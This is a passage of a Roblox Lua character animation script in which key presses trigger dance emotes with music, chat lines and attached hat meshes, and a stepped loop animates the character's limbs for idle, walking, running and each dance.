  6059. hatmesh.MeshId = "http://www.roblox.com/asset/?id=1095708"
  6060. hatmesh.TextureId = "http://www.roblox.com/asset/?id=60375192"
  6061. hatmesh.Scale = Vector3.new(.25, .25, .45)
  6062. local hatweld = Instance.new("Weld", hat)
  6063. hatweld.Part0 = hat
  6064. hatweld.Part1 = head
  6065. hatweld.C0 = CFrame.new(0, -0.1, 0.05)
  6066. end
  6067. end
  6068.  
  6069. if k == "y" then
  6070. if dancing then return end
  6071. if not sitting then
  6072. dancing = true
  6073. bronymusic = true
  6074. nyan:play()
  6075. for _,bp in pairs(char:children()) do
  6076. if bp:IsA("BasePart") then
  6077. bp.BrickColor = BrickColor.new("Dark stone grey")
  6078. end
  6079. end
  6080. game:GetService("Chat"):Chat(head,"Nyan nyan nyan nyan!",0)
  6081. hat = Instance.new("Part", char)
  6082. hat.FormFactor = "Custom"
  6083. hat.CanCollide = false
  6084. hat.Size = head.Size
  6085. hat.Locked = true
  6086. hat.BrickColor = BrickColor.new("Dark stone grey")
  6087. hat:breakJoints()
  6088. local hatmesh = Instance.new("SpecialMesh", hat)
  6089. hatmesh.MeshId = "http://www.roblox.com/asset/?id=1374148"
  6090. hatmesh.TextureId = "http://www.roblox.com/asset/?id=117119031"
  6091. hatmesh.Scale = Vector3.new(.2, .30, .2)
  6092. local hatweld = Instance.new("Weld", hat)
  6093. hatweld.Part0 = hat
  6094. hatweld.Part1 = head
  6095. hatweld.C0 = CFrame.new(0, -0.15, 0.05)
  6096. end
  6097. end
  6098.  
  6099. if k == "l" then
  6100. if dancing then return end
  6101. if not sitting then
  6102. dancing = true
  6103. game:GetService("Chat"):Chat(head,"What does the fox say?!",0)
  6104. foxie = true
  6105. fox_say:play()
  6106. hat = Instance.new("Part", char)
  6107. hat.FormFactor = "Custom"
  6108. hat.CanCollide = false
  6109. hat.Size = head.Size
  6110. hat.Locked = true
  6111. hat:breakJoints()
  6112. local hatmesh = Instance.new("SpecialMesh", hat)
  6113. hatmesh.MeshId = "http://www.roblox.com/asset/?id=25266225"
  6114. hatmesh.TextureId = "http://www.roblox.com/asset/?id=25266210"
  6115. hatmesh.Scale = Vector3.new(.2, .2, .2)
  6116. local hatweld = Instance.new("Weld", hat)
  6117. hatweld.Part0 = hat
  6118. hatweld.Part1 = head
  6119. hatweld.C0 = CFrame.new(0, -0.1, 0)
  6120. end
  6121.  
  6122. end
  6123. if k == "f" then
  6124. if dancing then return end
  6125. if not sitting then
  6126. dancing = true
  6127. game:GetService("Chat"):Chat(head,"I'm wakin up!",0)
  6128. durka = true
  6129. durk:play()
  6130. end
  6131. end
  6132. if k == "g" then
  6133. if dancing then return end
  6134. if not sitting then
  6135. dancing = true
  6136. game:GetService("Chat"):Chat(head,"Now for some more music",0)
  6137. saxguy = true
  6138. sax_guy:play()
  6139. hat = Instance.new("Part", char)
  6140. hat.FormFactor = "Custom"
  6141. hat.CanCollide = false
  6142. hat.Size = head.Size
  6143. hat.Locked = true
  6144. hat:breakJoints()
  6145. local hatmesh = Instance.new("SpecialMesh", hat)
  6146. hatmesh.MeshId = "http://www.roblox.com/asset/?id=44410178"
  6147. hatmesh.TextureId = "http://www.roblox.com/asset/?id=44410320"
  6148. hatmesh.Scale = Vector3.new(.25, .25, .25)
  6149. local hatweld = Instance.new("Weld", hat)
  6150. hatweld.Part0 = hat
  6151. hatweld.Part1 = la
  6152. hatweld.C0 = CFrame.new(-0.18, -0.05, .04) * CFrame.Angles(math.pi - math.rad(18), 0, math.pi/4)
  6153. end
  6154. end
  6155.  
  6156.  
  6157.  
  6158.  
  6159. if k == "q" then
  6160. if Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then return end
  6161. if sitting then return end
  6162. looking = true
  6163. game:GetService("Chat"):Chat(head,"I'm just tiltin",0)
  6164. rj.C0 = CFrame.new(-math.pi/6, 0,0) * CFrame.Angles(0, 0, math.pi/4)
  6165. end
  6166. if k == "e" then
  6167. if Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then return end
  6168. if sitting then return end
  6169. looking = true
  6170. game:GetService("Chat"):Chat(head,"What's wrong with tilting?",0)
  6171. rj.C0 = CFrame.new(math.pi/6, 0,0) * CFrame.Angles(0, 0, -math.pi/4)
  6172. end
  6173. if string.byte(k) == 48 or string.byte(k) == 47 then
  6174. if sitting then return end
  6175. humanoid.WalkSpeed = 30
  6176. end
  6177. if string.byte(k) == 52 then
  6178. if sitting then return end
  6179. humanoid.WalkSpeed = 10
  6180. end
  6181. end)
  6182.  
  6183. mouse.KeyUp:connect(function(k)
  6184. if string.byte(k) == 48 or string.byte(k) == 47 then
  6185. if sitting then return end
  6186. humanoid.WalkSpeed = 20
  6187. end
  6188. if string.byte(k) == 32 then
  6189. game:GetService("Chat"):Chat(head,"Party's over! For now...",0)
  6190. superannoying = false
  6191. barrelroll = false
  6192. heya = false
  6193. dubstepgun = false
  6194. youpirate = false
  6195. canttouch = false
  6196. gangnam = false
  6197. sheddy = false
  6198. durka = false
  6199. saxguy = false
  6200. foxie = false
  6201. burndem = false
  6202. bronymusic = false
  6203. canttt = false
  6204. brony_music:stop()
  6205. cant:Stop()
  6206. fox_say:stop()
  6207. spitfire:stop()
  6208. heman:stop()
  6209. justin:stop()
  6210. jb = false
  6211. durk:stop()
  6212. restorecolors()
  6213. burn_dem:stop()
  6214. if hat then
  6215. hat:Destroy()
  6216. end
  6217. sax_guy:stop()
  6218. gangy_style:stop()
  6219. cant_touch:stop()
  6220. you_are_pirate:stop()
  6221. dubstep_gun:stop()
  6222. super_annoying:stop()
  6223. barrel_roll:stop()
  6224. dancing = false
  6225. global_wait = 0
  6226. LightForTorso.Color = torso.BrickColor.Color
  6227. end
  6228.  
  6229.  
  6230. if k == "q" then
  6231. if looking then
  6232. if sitting then return end
  6233. rj.C0 = CFrame.new()
  6234. looking = false
  6235. end
  6236. end
  6237.  
  6238. if k == "e" then
  6239. if looking then
  6240. if sitting then return end
  6241. rj.C0 = CFrame.new()
  6242. looking = false
  6243. end
  6244. end
  6245. end)
  6246.  
  6247.  
  6248. game:service'RunService'.Stepped:connect(function()
  6249. count = (count % 100) + countspeed
  6250. angle = math.pi * math.sin(math.pi*2/100*count)
  6251.  
  6252. if slidecount < slidecountmax then
  6253. slidecount = slidecount + speed
  6254. end
  6255. if slidecount > slidecountmax then
  6256. slidecount = slidecount - speed
  6257. end
  6258. if global_wait == 380 then global_wait = 0 end
  6259.  
  6260. sine = sine + sinespeed
  6261. if not dancing then
  6262. if not sitting then
  6263. local ray = Ray.new(rootpart.Position, Vector3.new(0, -1, 0))
  6264. local hitz, enz = workspace:FindPartOnRay(ray, char)
  6265. if not hitz then
  6266. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles((math.pi/8/5*slidecount) + math.pi + angle*0.05, 0, 0)
  6267. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles((math.pi/8/5*slidecount) + math.pi + -angle*0.05, 0, 0)
  6268. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.28, 0, 0)
  6269. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.28, 0, 0)
  6270. if not looking then
  6271. rj.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0)
  6272. end
  6273. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
  6274. elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 2 then
  6275.  
  6276. -- idle anim
  6277.  
  6278. anim = "Idle"
  6279. if anim ~= lastanim then
  6280. if lastanim == "Walking" then
  6281. speed = 0.5
  6282. slidecount = 1
  6283. slidecountmax = 0
  6284. elseif lastanim == "Running" then
  6285. speed = 2.5
  6286. slidecount = 5
  6287. slidecountmax = 0
  6288. else
  6289. slidecount = 0
  6290. slidecountmax = 0
  6291. end
  6292. end
  6293. countspeed = 1
  6294. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(angle*0.02, 0, 0)
  6295. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.02, 0, 0)
  6296. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.01, 0, 0)
  6297. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.01, 0, 0)
  6298. if not looking then
  6299. rj.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0)
  6300. end
  6301. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
  6302. elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 14 then
  6303. looking = false
  6304. -- walk anim
  6305. anim = "Walking"
  6306. if anim ~= lastanim then
  6307. speed = 0.2
  6308. slidecount = 0
  6309. slidecountmax = 1
  6310. if lastanim == "Running" then
  6311. slidecount = 5
  6312. end
  6313. end
  6314. countspeed = 6
  6315. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(angle*0.3, 0, math.abs(angle*0.02))
  6316. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.3, 0, -math.abs(angle*0.02))
  6317. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.28, 0, -math.abs(angle*0.01))
  6318. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.28, 0, math.abs(angle*0.01))
  6319. rj.C0 = CFrame.new(0, math.abs(-angle*0.035), 0) * CFrame.Angles(-math.pi/8/5*slidecount, 0, 0)
  6320. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
  6321. elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 14 then
  6322. --run anim
  6323. anim = "Running"
  6324. if anim ~= lastanim then
  6325. speed = 1
  6326. slidecount = 0
  6327. slidecountmax = 5
  6328. if lastanim == "Walking" then
  6329. slidecount = 1
  6330. end
  6331. end
  6332.  
  6333. looking = false
  6334. countspeed = 9
  6335. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(angle*0.4, 0, math.abs(angle*0.07))
  6336. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-angle*0.4, 0, -math.abs(angle*0.07))
  6337. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-angle*0.38, 0, -math.abs(angle*0.03))
  6338. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(angle*0.38, 0, math.abs(angle*0.03))
  6339. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.pi/8/5*slidecount, 0, 0)
  6340. rj.C0 = CFrame.new(0, math.abs(-angle*.055), 0) * CFrame.Angles(-math.pi/8/5*slidecount, math.sin(angle*0.05), 0)
  6341. end
  6342.  
  6343. lastanim = anim
  6344. else
  6345. countspeed = 1
  6346. local ray = Ray.new(rootpart.Position, Vector3.new(0, -2, 0))
  6347. local hitz, enz = workspace:FindPartOnRay(ray, char)
  6348. if not hitz then
  6349. rj.C0 = CFrame.new(0, -0.5, 0) * CFrame.Angles(-math.pi/2, 0, 0)
  6350. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.rad(30), 0, -math.pi/16)
  6351. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.rad(30), 0, math.pi/16)
  6352. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.pi-math.rad(30), 0, -math.pi/10)
  6353. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.pi-math.rad(30), 0, math.pi/10)
  6354. else
  6355. rj.C0 = CFrame.new(0, -0.35, 0) * CFrame.Angles(math.rad(10), 0, 0)
  6356. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, -math.pi/16)
  6357. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(math.pi/2-math.rad(10), 0, math.pi/16)
  6358. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(-math.rad(10), 0, -math.pi/10)
  6359. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(-math.rad(10), 0, math.pi/10)
  6360. end
  6361.  
  6362. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(angle*0.055, 0, 0)
  6363. end
  6364. else
  6365. if superannoying then
  6366. countspeed = 5
  6367. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07))
  6368. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07))
  6369. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
  6370. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
  6371. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6372. rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
  6373. elseif barrelroll then
  6374. countspeed = 5
  6375. sinespeed = 0.1
  6376. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, math.abs(angle*0.07))
  6377. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.07))
  6378. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(0, 0, -math.abs(angle*0.03))
  6379. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, 0, math.abs(angle*0.03))
  6380. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6381. rj.C0 = CFrame.new(math.sin(sine)*2.5, 0, 0) * CFrame.Angles(-math.pi/2, math.sin(sine)*4.5, 0)
  6382. elseif dubstepgun then
  6383. global_wait = (global_wait % 380) + 1
  6384. countspeed = 5
  6385. if global_wait < 249 - 40 then
  6386. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.27))
  6387. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.27))
  6388. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
  6389. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
  6390. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6391. rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
  6392. elseif global_wait > 249 - 40 then
  6393. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.4, 0, math.abs(angle*0.11))
  6394. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.11))
  6395. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.09))
  6396. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.09))
  6397. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6398. rj.C0 = CFrame.new(0, math.abs(-angle*.075), 0) * CFrame.Angles(0, math.pi/3 + math.sin(angle*0.15), 0)
  6399. end
  6400. elseif youpirate then
  6401. global_wait = (global_wait % 380) + 1
  6402. countspeed = 5
  6403. if global_wait < 79 then
  6404. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.1, 0, -math.abs(angle*0.07))
  6405. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.2, 0, math.abs(angle*0.07))
  6406. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
  6407. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
  6408. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6409. rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
  6410. elseif global_wait < 299 then
  6411. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, math.abs(angle*0.11))
  6412. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, 0, -math.abs(angle*0.11))
  6413. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.2, 0, -math.abs(angle*0.1))
  6414. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.2, 0, math.abs(angle*0.1))
  6415. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), math.sin(angle*0.19), 0)
  6416. rj.C0 = CFrame.new(0, math.abs(-angle*.055+0.2), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
  6417. elseif global_wait > 299 then
  6418. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.1, 0, -math.abs(angle*0.07))
  6419. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.2, 0, math.abs(angle*0.07))
  6420. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
  6421. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
  6422. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6423. rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, math.sin(angle*0.15), 0)
  6424. end
  6425. elseif canttouch then
  6426. countspeed = 5
  6427. global_wait = (global_wait % 160) + 1
  6428. if global_wait == 160 then global_wait = 0 end
  6429. if global_wait < 39 then
  6430. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07))
  6431. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07))
  6432. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
  6433. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
  6434. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6435. rj.C0 = CFrame.new(0, math.abs(-angle*.03), 0) * CFrame.Angles(0, -math.pi/6, 0)
  6436. elseif global_wait < 79 then
  6437. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, -math.abs(angle*0.07))
  6438. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, 0, math.abs(angle*0.07))
  6439. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.03))
  6440. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.1, 0, math.abs(angle*0.03))
  6441. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6442. rj.C0 = CFrame.new(0, math.abs(-angle*.03), 0) * CFrame.Angles(0, math.pi/6, 0)
  6443. elseif global_wait < 119 then
  6444. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(0.01, 0, 0.17)
  6445. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(0.01, 0, -0.17)
  6446. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), -math.abs(angle*0.06))
  6447. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), math.abs(angle*0.06))
  6448. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6449. rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, 0, 0)
  6450. torso.CFrame = torso.CFrame * CFrame.new(0.05, 0, 0)
  6451. elseif global_wait > 119 then
  6452. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(0.01, 0, 0.17)
  6453. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(0.01, 0, -0.17)
  6454. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), -math.abs(angle*0.06))
  6455. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(0, -math.abs(angle*0.05), math.abs(angle*0.06))
  6456. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6457. rj.C0 = CFrame.new(0, math.abs(-angle*.02), 0) * CFrame.Angles(0, 0, 0)
  6458. torso.CFrame = torso.CFrame * CFrame.new(-0.05, 0, 0)
  6459. end
  6460. elseif gangnam then
  6461. countspeed = 5
  6462. if global_wait == 180 then global_wait = 0 end
  6463. global_wait = (global_wait % 180) + 1
  6464. if global_wait < 89 then
  6465. ls.C0 = CFrame.new(-.2,.1,-.1) * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, math.pi/3 + math.abs(angle*0.05))
  6466. rs.C0 = CFrame.new(.2,.1,-.1) * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, -math.pi/3 + -math.abs(angle*0.05))
  6467. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
  6468. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
  6469. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6470. rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
  6471. elseif global_wait > 89 then
  6472. ls.C0 = CFrame.new(-.2,.1,-.1) * CFrame.Angles(math.pi/2.5 + math.abs(angle*0.2), 0, math.pi/3 + math.abs(angle*0.05))
  6473. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + math.sin(angle*0.1), 0, -math.sin(angle*0.1))
  6474. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
  6475. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
  6476. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6477. rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
  6478. end
  6479. elseif foxie then
  6480. countspeed = 5
  6481. global_wait = (global_wait % 380) + 2
  6482. if global_wait < 89 then
  6483. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + math.abs(angle*0.1), 0, -math.abs(angle*0.2))
  6484. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + math.abs(angle*0.1), 0, math.abs(angle*0.2))
  6485. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
  6486. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
  6487. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6488. rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.rad(global_wait*4), 0)
  6489. elseif global_wait > 89 then
  6490. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, math.abs(angle*0.05))
  6491. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, -math.abs(angle*0.05))
  6492. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
  6493. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
  6494. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, math.sin(angle*0.1))
  6495. rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
  6496. end
  6497. elseif durka then
  6498. countspeed = 2
  6499. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, math.abs(angle*0.07))
  6500. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.07))
  6501. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, 0, -math.abs(angle*0.03))
  6502. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, 0, math.abs(angle*0.03))
  6503. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6504. rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
  6505. elseif saxguy then
  6506. countspeed = 5
  6507. ls.C0 = CFrame.new(-.25,.1,-.1) * CFrame.Angles(math.pi/2.5, 0, math.pi/4)
  6508. rs.C0 = CFrame.new(.25,.1,-.1) * CFrame.Angles(math.rad(60), 0, -math.pi/4)
  6509. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, -0.06)
  6510. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, 0.06)
  6511. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(0, 0, 0)
  6512. rj.C0 = CFrame.new(0, -math.abs(angle*0.01), math.abs(angle*0.01)) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
  6513. elseif heya then
  6514. countspeed = 5
  6515. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi + -angle*0.2, -angle*0.1, 0)
  6516. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, angle*0.1, 0)
  6517. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
  6518. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
  6519. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
  6520. rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.sin(angle*0.07), 0)
  6521. elseif jb then
  6522. countspeed = 5
  6523. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + -angle*0.2, -angle*0.1, 0)
  6524. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, angle*0.1, 0)
  6525. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
  6526. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
  6527. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
  6528. rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
  6529. elseif canttt then
  6530. countspeed = 5
  6531. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/2 + -angle*0.2, -angle*0.1, 0)
  6532. rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, angle*0.1, 0)
  6533. lh.C0 = CFrame.new(-.1,-.2,0) * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
  6534. rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
  6535. neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
  6536. rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
  6537. elseif bronymusic then
  6538. countspeed = 5
  6539. ls.C0 = CFrame.new(-.1,.1,-.15) * CFrame.Angles(math.pi/2 + -angle*0.1, -angle*0.1, 0)
  6540. rs.C0 = CFrame.new(.1,.1,-.15) * CFrame.Angles(math.pi/2 + angle*0.1, angle*0.1, 0)
  6541. lh.C0 = CFrame.new(-.1,-.25,0) * CFrame.Angles(math.pi/2 + angle*0.1, 0, 0)
  6542. rh.C0 = CFrame.new(.1,-.25,0) * CFrame.Angles(math.pi/2 + -angle*0.1, 0, 0)
  6543. neck.C0 = CFrame.new(0,.25,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.25), 0, 0)
  6544. rj.C0 = CFrame.new(0, -0.2 + math.abs(angle*0.05), 0) * CFrame.Angles(-math.rad(85), 0, 0)
  6545. elseif sheddy then
  6546. countspeed = 7
  6547. ls.C0 = CFrame.new(-.3,.1,0) * CFrame.Angles(math.pi/4 + -angle*0.4, -angle*0.1, 0)
